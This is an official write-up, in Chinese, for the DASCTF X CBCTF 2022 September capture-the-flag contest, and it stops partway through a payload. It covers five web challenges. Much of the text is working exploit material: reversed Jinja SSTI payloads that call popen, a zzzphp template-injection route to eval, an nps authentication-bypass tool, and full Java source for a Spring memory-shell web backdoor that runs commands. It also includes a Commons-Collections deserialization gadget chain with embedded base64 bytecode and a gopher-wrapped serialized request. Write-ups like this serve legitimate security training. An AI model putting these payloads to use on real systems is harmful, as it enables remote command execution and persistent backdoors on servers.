DASCTF X CBCTF ▶▶▶
九月挑战赛
官方WP
9月18日,DASCTF X CBCTF 2022九月挑战赛于BUU平台顺利开赛。响应各位小伙伴的号召,今天官方WP正式发布!(点击阅读全文获取PDF版)
WEB
01
Dnio3d
f12查看前端源码,找到向 check.php
发包的那部分,找到这个 sn
函数,调试一下
tm能看出是时间戳
exp:
from hashlib import md5
import requests
import time
url = "http://node4.buuoj.cn:28177/check.php"
def getFlag():
data = {
"score": 1000000,
"checkCode": md5("1000000DASxCBCTF_wElc03e".encode()).hexdigest(),
"tm": int(time.time())
}
res = requests.post(url, data = data)
return res.text
if __name__ == '__main__':
print(getFlag())
02
Text Reverser
题目环境就是一个输入框,会将输入文本倒置输出
测试一下是否存在ssti,ban了很多,但发现它只会检测我们传过去的原生数据,不会检测那边反转好的字符串,如果我们传入反转后的即可绕过
一开始以为是需要盲注,后来发现只是把{{``}}
过滤了,改用 {% print 12*3 %}
来实现ssti回显即可,但要注意要发送已经反转好的payload,这样那边处理后就是正常的payload,即 }% 3*21 tnirp %{
这样
Text Reverser
跑下
output = '''{% print "".__class__.__bases__[0].__subclasses__()%}'''[::-1]
print(output)
发送反转后的payload 得到类列表,然后将返回的列表内容复制进脚本寻找可利用的类
import json
a = """
<class 'type'>...<class 'unicodedata.UCD'>
"""
num = 0
allList = []
result = ""
for i in a:
if i == ">":
result += i
allList.append(result)
result = ""
elif i == "n" or i == ",":
continue
else:
result += i
for k,v in enumerate(allList):
if "os._wrap_close" in v:
print(str(k)+"--->"+v)
#返回结果:132---> <class 'os._wrap_close'>
之后利用popen方法执行系统命令
{% print "".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls').read()%}
}%)(daer.)'galf/ ln'(]'nepop'[__slabolg__.__tini__.]231[)(__sessalcbus__.]0[__sesab__.__ssalc__."" tnirp %{
这里过滤了很多读取文件的命令,可以利用nl的绕过过滤读取文件(后测试用grep和rev等命令也可以读取flag)
03
zzz_again
访问页面为zzzphp web页面
根据题目源码,发现版本为V2.1.4源码,最新版,结合历史漏洞发现该程序经常存在模板注入漏洞
代码审计
发现url任意位置可能注入点,流程如下
location=list时,
inc/zzz_client.php:92
加载模板,解析模板
模板引擎解析到这里
inc/zzz_template.php:48 进入list
之后进入函数
在模板引擎中 ParserTemplate::parserListPage
从 $_SERVER[ ‘REQUEST_URI’ ]中获取url并稍作修改,此处没有任何过滤或者编码
inc/zzz_template.php:2436 会做一些简单的拼接
inc/zzz_template.php:2437 替换掉正在执行的模板文件
之后进入ParserTemplate::parserIfLabel
此处绕过danger_key函数,即可进入eval语句,造成任意命令执行
本地测试调试,命令执行,找到flag在 /f111l00g
04
a_proxy_server
访问页面为nps代理软件web页面
结合搜索引擎,发现该软件在前不久爆出未授权访问漏洞
github找到脚本,运行脚本
git clone https://github.com/carr0t2/nps-auth-bypass
cd nps-auth-bypass
mitmdump -s main.py -p 8000 –ssl-insecure –mode reverse:http://x.x.x.x:x/
访问进入后台http://127.0.0.1:8000/
发现存在内网git服务器的代理,但是因为只有一个web端口,不能直接访问8081代理,所以可以尝试在公网搭建恶意git服务器,将流量导向公网git
05
JavaMaster
-
首先file协议读取内网/etc/hosts 然后发现网段。进行网段探测 -
探测发现springboot服务,且给出反序列化点。该题目无法出网弹shell,因此只能写内存马。编译该内存马
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class InjectToController extends AbstractTranslet {
// 第一个构造函数
public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中test的 Method 对象
Method method2 = InjectToController.class.getMethod("test");
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/yang99");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
// 第二个构造函数
public InjectToController(String aaa) {}
// controller指定的处理方法
public void test() throws IOException{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
//exec
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
//当请求没有携带指定的参数(code)时,返回 404 错误
response.sendError(404);
}
}catch (Exception e){}
}
}
编写CC11利用链
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
@SuppressWarnings("all")
public class CC11 {
public static void main(String[] args) throws Exception {
// 利用javasist动态创建恶意字节码
byte[] classBytes = Base64.getDecoder().decode("yv66vgAAADQA7goAOAB8CgB9AH4IAH8LAIAAgQcAggcAgwsABQCEBwCFCABjBwCGCgAKAIcHAIgHAIkIAIoKAAwAiwcAjAcAjQoAEACOBwCPCgATAJAIAGEKAAgAkQoABgCSBwCTCgAYAJQKABgAlQgAlgsAlwCYCwCZAJoIAJsIAJwKAJ0AngoADQCfCACgCgANAKEHAKIIAKMIAKQKACQAiwgApQgApgcApwoAJACoCgCpAKoKACoAqwgArAoAKgCtCgAqAK4KACoArwoAKgCwCgCxALIKALEAswoAsQCwCwCZALQHALUHALYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFExJbmplY3RUb0NvbnRyb2xsZXI7AQAHY29udGV4dAEAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L1dlYkFwcGxpY2F0aW9uQ29udGV4dDsBABVtYXBwaW5nSGFuZGxlck1hcHBpbmcBAFRMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZzsBAAdtZXRob2QyAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAN1cmwBAEhMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbjsBAAJtcwEATkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uOwEABGluZm8BAD9Mb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBABJpbmplY3RUb0NvbnRyb2xsZXIBAApFeGNlcHRpb25zBwC3BwC4BwC5BwC6BwC7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAvAEAEE1ldGhvZFBhcmFtZXRlcnMBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAA2FhYQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHRlc3QBAAFwAQAaTGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcjsBAAFvAQABYwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAARhcmcwAQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEADVN0YWNrTWFwVGFibGUHAIUHAL0HAL4HAIkHAL8HAKIHAKcHALUHAMABAApTb3VyY2VGaWxlAQAXSW5qZWN0VG9Db250cm9sbGVyLmphdmEMADkAOgcAwQwAwgDDAQA5b3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuc2VydmxldC5EaXNwYXRjaGVyU2VydmxldC5DT05URVhUBwDEDADFAMYBADVvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L1dlYkFwcGxpY2F0aW9uQ29udGV4dAEAUm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcMAMcAyAEAEkluamVjdFRvQ29udHJvbGxlcgEAD2phdmEvbGFuZy9DbGFzcwwAyQDKAQBGb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbgEAEGphdmEvbGFuZy9TdHJpbmcBAAcveWFuZzk5DAA5AMsBAExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uAQA1b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNZXRob2QMADkAzAEAPW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8MADkAzQwAOQBgDADOAM8BAEBvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvU2VydmxldFJlcXVlc3RBdHRyaWJ1dGVzDADQANEMANIA0wEAA2NtZAcAvQwA1ADVBwC+DADWANcBAAABAAdvcy5uYW1lBwDYDADZANUMANoA2wEAA3dpbgwA3ADdAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyAQAHY21kLmV4ZQEAAi9jAQAHL2Jpbi9zaAEAAi1jAQARamF2YS91dGlsL1NjYW5uZXIMAN4A3wcA4AwA4QDiDAA5AOMBAAJcQQwA5ADlDADmAOcMAOgA2wwA6QA6BwC/DADqAGAMAOsAOgwA7ADtAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgEAK2phdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBABNqYXZhL2lvL1ByaW50V3JpdGVyAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAGGN1cnJlbnRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsBADlvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXMBAAxnZXRBdHRyaWJ1dGUBACcoTGphdmEvbGFuZy9TdHJpbmc7SSlMamF2YS9sYW5nL09iamVjdDsBAAdnZXRCZWFuAQAlKExqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvT2JqZWN0OwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQA7KFtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNZXRob2Q7KVYBAfYoTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXJhbXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vSGVhZGVyc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9Db25zdW1lc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9Qcm9kdWNlc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0Q29uZGl0aW9uOylWAQAPcmVnaXN0ZXJNYXBwaW5nAQBuKExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvO0xqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7KVYBAApnZXRSZXF1ZXN0AQApKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAKigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAV3cml0ZQEABWZsdXNoAQAJc2VuZEVycm9yAQAEKEkpVgAhAAgAOAAAAAAABQABADkAOgACADsAAAEFAAkACAAAAHEqtwABuAACEgMDuQAEAwDAAAVMKxIGuQAHAgDAAAZNEggSCQO9AAq2AAtOuwAMWQS9AA1ZAxIOU7cADzoEuwAQWQO9ABG3ABI6BbsAE1kZBBkFAQEBAQG3ABQ6BrsACFkSFbcAFjoHLBkGGQcttgAXsQAAAAIAPAAAACoACgAAABgABAAZABMAGwAfAB0AKwAfAD0AIQBKACMAXAAlAGcAJgBwACcAPQAAAFIACAAAAHEAPgA/AAAAEwBeAEAAQQABAB8AUgBCAEMAAgArAEYARABFAAMAPQA0AEYARwAEAEoAJwBIAEkABQBcABUASgBLAAYAZwAKAEwAPwAHAE0AAAAMAAUATgBPAFAAUQBSAAEAUwBUAAMAOwAAAD8AAAADAAAAAbEAAAACADwAAAAGAAEAAAAsAD0AAAAgAAMAAAABAD4APwAAAAAAAQBVAFYAAQAAAAEAVwBYAAIATQAAAAQAAQBZAFoAAAAJAgBVAAAAVwAAAAEAUwBbAAMAOwAAAEkAAAAEAAAAAbEAAAACADwAAAAGAAEAAAAxAD0AAAAqAAQAAAABAD4APwAAAAAAAQBVAFYAAQAAAAEAXABdAAIAAAABAF4AXwADAE0AAAAEAAEAWQBaAAAADQMAVQAAAFwAAABeAAAAAQA5AGAAAgA7AAAAOQABAAIAAAAFKrcAAbEAAAACADwAAAAGAAEAAAA0AD0AAAAWAAIAAAAFAD4APwAAAAAABQBhAGIAAQBaAAAABQEAYQAAAAEAYwA6AAIAOwAAAdMABgAIAAAAzbgAAsAAGMAAGLYAGUy4AALAABjAABi2ABpNKxIbuQAcAgBOLLkAHQEAOgQtxgCTEh46BRIfuAAgtgAhEiK2ACOZACG7ACRZBr0ADVkDEiVTWQQSJlNZBS1TtwAnOganAB67ACRZBr0ADVkDEihTWQQSKVNZBS1TtwAnOga7ACpZGQa2ACu2ACy3AC0SLrYALzoHGQe2ADCZAAsZB7YAMacABRkFOgUZB7YAMhkEGQW2ADMZBLYANBkEtgA1pwAMLBEBlLkANgIApwAETrEAAQAaAMgAywA3AAMAPAAAAE4AEwAAADkADQA6ABoAPgAjAD8AKwBAAC8AQQAzAEMAQwBEAGEARgB8AEgAkgBJAKYASgCrAEsAsgBMALcATQC8AE4AvwBQAMgAUgDMAFMAPQAAAFwACQBeAAMAZABlAAYAMwCJAGYAYgAFAHwAQABkAGUABgCSACoAZwBoAAcAIwClAGkAYgADACsAnQBqAGsABAAAAM0APgA/AAAADQDAAGwAbQABABoAswBuAG8AAgBwAAAANgAI/wBhAAYHAHEHAHIHAHMHAHQHAHUHAHQAAPwAGgcAdvwAJQcAd0EHAHT4ABr5AAhCBwB4AABNAAAABAABAHkAAQB6AAAAAgB7"); // 写入.class 文件
// 将我的恶意类转成字节码,并且反射设置 bytecodes
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field f0 = templates.getClass().getDeclaredField("_bytecodes");
f0.setAccessible(true);
f0.set(templates,targetByteCodes);
f0 = templates.getClass().getDeclaredField("_name");
f0.setAccessible(true);
f0.set(templates,"name");
f0 = templates.getClass().getDeclaredField("_class");
f0.setAccessible(true);
f0.set(templates,null);
InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
HashSet hashset = new HashSet(1);
hashset.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap hashset_map = (HashMap) f.get(hashset);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[])f2.get(hashset_map);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node,tiedmap);
Field f3 = transformer.getClass().getDeclaredField("iMethodName");
f3.setAccessible(true);
f3.set(transformer,"newTransformer");
try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashset);
oos.close();
// System.out.println(barr);
System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
// ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc11"));
// inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
运行得到序列化字符串。拿去变成gopher形式
import urllib
test =
"""POST /readObject HTTP/1.1
Host: 192.168.7.23:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 9109
base64=rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX%2bAYIVOACAAB4cAAAFxbK/rq%2bAAAANADuCgA4AHwKAH0AfggAfwsAgACBBwCCBwCDCwAFAIQHAIUIAGMHAIYKAAoAhwcAiAcAiQgAigoADACLBwCMBwCNCgAQAI4HAI8KABMAkAgAYQoACACRCgAGAJIHAJMKABgAlAoAGACVCACWCwCXAJgLAJkAmggAmwgAnAoAnQCeCgANAJ8IAKAKAA0AoQcAoggAowgApAoAJACLCAClCACmBwCnCgAkAKgKAKkAqgoAKgCrCACsCgAqAK0KACoArgoAKgCvCgAqALAKALEAsgoAsQCzCgCxALALAJkAtAcAtQcAtgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAUTEluamVjdFRvQ29udHJvbGxlcjsBAAdjb250ZXh0AQA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0OwEAFW1hcHBpbmdIYW5kbGVyTWFwcGluZwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEAB21ldGhvZDIBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAA3VybAEASExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uOwEAAm1zAQBOTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247AQAEaW5mbwEAP0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvOwEAEmluamVjdFRvQ29udHJvbGxlcgEACkV4Y2VwdGlvbnMHALcHALgHALkHALoHALsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwC8AQAQTWV0aG9kUGFyYW1ldGVycwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQADYWFhAQASTGphdmEvbGFuZy9TdHJpbmc7AQAEdGVzdAEAAXABABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEAA